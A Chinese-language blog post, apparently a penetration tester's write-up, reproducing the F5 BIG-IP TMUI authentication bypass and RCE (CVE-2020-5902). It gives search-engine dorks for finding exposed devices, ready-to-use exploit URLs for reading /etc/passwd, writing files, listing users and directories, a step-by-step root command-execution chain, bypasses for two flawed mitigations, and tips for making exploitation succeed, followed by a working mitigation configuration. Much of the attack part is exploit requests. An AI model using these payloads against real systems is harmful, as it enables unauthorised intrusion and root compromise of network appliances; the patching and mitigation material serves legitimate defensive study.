首页 » NetworkSec » Penetration » 正文

F5 BIG-IP TMUI RCE漏洞(CVE-2020-5902)重现及注意点

//本文首发先知社区:https://xz.aliyun.com/t/8007

0x00 概述

20200706,网上曝出F5 BIG-IP TMUI RCE漏洞。

F5 BIG-IP的TMUI组件(流量管理用户界面)存在认证绕过漏洞,该漏洞在于Tomcat解析的URL与request.getPathInfo()存在差异,导致可绕过权限验证,未授权访问TMUI模块所有功能,进而可以读取/写入任意文件,命令执行等。

 

0x01 影响范围

BIG-IP 15.x: 15.1.0/15.0.0
BIG-IP 14.x: 14.1.0 ~ 14.1.2
BIG-IP 13.x: 13.1.0 ~ 13.1.3
BIG-IP 12.x: 12.1.0 ~ 12.1.5
BIG-IP 11.x: 11.6.1 ~ 11.6.5

搜索关键词:
shodan
http.favicon.hash:-335242539
http.title:”BIG-IP®- Redirect”

fofa
title=”BIG-IP®- Redirect”
tmui

censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5
443.https.get.title:”BIG-IP®- Redirect”

google
inurl:”tmui/login.jsp”
intitle:”BIG-IP” inurl:”tmu

 

0x02 漏洞重现

TMUI网站目录:/usr/local/www/tmui/

TMUI web server:Tomcat

0. 使用POC检测

https://1.2.3.4/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=test5902

https://1.2.3.4/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

1. 任意文件读取

https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

2. 任意文件写入

https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp

 

 

 

 

3. 列认证用户

https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user

 

4. 列目录

https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

据David Vieira-Kurz(@secalert)说/tmp/下的sess_xxxxxxxxx文件可以替换cookie登录,但是试了几个都失败,可能是过期了……

 

5. RCE

1)tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
2)fileSave.jsp?fileName=/tmp/cmd&content=id
3)tmshCmd.jsp?command=list+/tmp/cmd
4)tmshCmd.jsp?command=delete+cli+alias+private+list

多发送几次就能rce,基本都是root

记得还原

 

0x03 有缺陷的缓解方案1

1) 登录TMOS Shell(tmsh):
tmsh
2) 编辑httpd组件配置文件
edit /sys httpd all-properties
3) 添加include代码

include '
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
'

4) 保存配置文件
ESC 并:wq
5) 保存系统配置
save /sys config
6) 重启httpd服务
restart sys service httpd

 

0x04 缓解方案绕过1

有缺陷的缓解方案正则限制了..;

但是/hsqldb这个接口加上;(分号)就可以绕过登录认证,进而反序列化,导致RCE

接着利用工具进行反序列化rce

https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902

挺鸡肋的,需要知道hsqldb密码,默认空

试过了几个都是socket creation error……

 

0x05 有缺陷的缓解方案2

include '
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
'

 

0x06 缓解方案绕过2

虽然直接限制分号,但是可以用/hsqldb%0a绕过认证

 

0x07 防御方案

Command line

tmsh

edit /sys httpd all-properties

Locate the line that starts with include none and replace it with the following:

include '
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'

Esc
:wq!

save /sys config

restart sys service httpd

quit

正则增加限制hsqldb

或将BIG-IP更新到最新版本

 

0x08 注意点

1. 如果list auth user或者list /tmp/cmd.txt返回空,多repeat几次或者intruder可能就有返回了

2. 即使返回空,也可能rce

3. 据说rce的post成功率大于get

4. 据说要近期有管理员登录过才有返回值

5. list auth user能稳定返回值,rce成功率高

6. 写webshell返回500可能缺少ecj-4.4.jar

7. 记得还原list命令,删除或者覆盖命令文件

8. 遇到500或者返回error,多repeat几次可能就正常了

 

0x09 检测工具

项目地址:https://github.com/theLSA/f5-bigip-rce-cve-2020-5902

本工具支持单IP检测,批量IP检测,可进行文件读写,列认证用户,列目录,远程命令执行和hsqldb认证绕过检测,详情参考README.md

使用帮助:

 

0x0A 参考资料

https://support.f5.com/csp/article/K52145254

https://github.com/jas502n/CVE-2020-5902

https://www.anquanke.com/post/id/209932

https://forum.90sec.com/t/topic/1185

https://bacde.me/post/big-ip-cve-2020-5902-check-poc/

https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902

https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/

https://mp.weixin.qq.com/s/kNezHzgKwam0pNKQ6AJWsg

本文共 1 个回复

  • SteA1th 2020/07/12 03:58

    学习!! :razz:

Comment

please input captcha *